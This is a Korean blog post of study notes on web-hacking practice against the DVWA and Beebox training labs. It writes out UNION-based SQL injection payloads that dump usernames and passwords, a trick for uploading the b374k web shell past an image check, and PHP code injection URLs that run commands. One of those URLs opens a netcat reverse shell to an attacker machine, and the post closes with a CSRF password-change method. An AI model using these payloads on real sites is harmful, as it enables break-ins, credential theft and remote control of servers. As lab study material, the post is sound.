web 보안 7일차

Jh Park·2022년 9월 14일
post-thumbnail

Command Execution(DVWA)

  • 공격자는 검색창에 리눅스 명령어를 실행하려고 함 (Beebox에서 php코드 인젝션)

SQL Injection

  • ' union select 1,2 #

    • 간단한 대입으로 예상되는 SELECT의 cilumn의 개수를 측정 = 2개
  • ' union select database(),version() #

    • 데이터 베이스의 이름과 버전 구하기
    • 결과 값 =dvwa
  • ' union select table_name,null from information_schema.tables where table_schema='dvwa' #

    • 테이블 이름 검색
    • 결과 값 = guestbook, users
  • ' union select column_name,null from information_schema.columns where table_schema='dvwa' and table_name='users' #

    • user 테이블의 column 검색
    • select에서 하나의 값은 null으로 지정하여 필요없는 데이터는 최소화, where 절의 table_schema='dvwa' and table_name='users' 통하여 혹시 모를 users 테이블을 정확히 지정할 것
    • 결과 값 : user_id, first_name, last_name, user, password, avatar, last_login, failed_login
  • ' union select user,password from dvwa.users #
    • user, password 추출

File Upload

Security Level: High

  • 업로드 파일 : b374k-2.8.php

  • 조건 : 서버 측의 jpg, jpge, png 확장자 검증

  • 방법

    • b374k-2.8.php > b374k-2.8.png 확장자 변경

    • 파일 시그니처 변경

      • jpg : FF D8 FF E0 xx xx 4A 46
      • jpge : FF D8 FF E0 FF D8 FF E8(Header), FF D9(Footer)
      • png : 89 50 4E 47 0D 0A 1A 0A(Header) ,49 45 4E 44 AE 42 60 82(Footer)
    • HEX 에디션으로 헤더 추가

    • ; mv ../../hackable/uploads/b374k-2.8.png ../../hackable/uploads/b374k-2.8.php

      • Command Injection 같이 리눅스 명령어가 가능한 곳을 공격하여 업로드한 파일의 이름을 변경 후 실행하면 성공

PHP Code Injection(Beebox)

  • message를 클릭하면 test로 출력되는 형태

  • 주소 창 : /././phpi.php?message=test

  • PHP에 리눅스 명령어를 사용 가능하게하는 명령어

    • system('')
      • 결과 값이 2번 나옴
    • shell_exec('')
    • passthru(''), 등
  • 변형

    • /././phpi.php??message=exec('pwd')

    • /././phpi.php??message=system('pwd')

    • /././phpi.php??message=shell_exec('whoami')

    • /././phpi.php??message=passthru('ps -ef')

    • /././phpi.php??message=passthru('cat /var/log/wtmp') // 로그 일부 확인 가능

    • /././phpi.php??message=passthru('cat /var/log/dmesg')

  • 응용

    • 칼리에서 포트를 연다

    • /././phpi.php??message=passthru('; nc 192.168.5.129 8000 -e /bin/sh)
      열어둔 kali에 연결

    • 연결 확인

      CSRF(Change Password/Beebox)

  • 스크립트를 활용하는 공격으로 클라이언트에게 주어진 권한으로 웹서버에게 어떤 요청을 보내는 공격

  • 자동 댓글달기 : 사용자가 게시판 글을 읽기만 했는데 스크립트가 실행되면서 자동으로 댓글이 달리거나 좋아요가 눌러지는 것, 패스워드 변경 : 사용자의 패스워드를 변경하는 시도, 자동으로 탈퇴요청을 보내기 등

  • 방법

    • 개발자 노트를 이용하여 비밀번호 넣는 부분의 코드를 복사하여 html파일을 생성한다.

    • 해당 부분을 변경

    • 클릭을 하게 되면 값을 지정하였던 123123으로 비밀번호가 변경되게 된다.

      • 단 지금 가능한것은 이미 해당 사이트에 로그인이 되어 있거나 쿠키값이 이미 등록되어 있었기 때문에 가능하였다.

0개의 댓글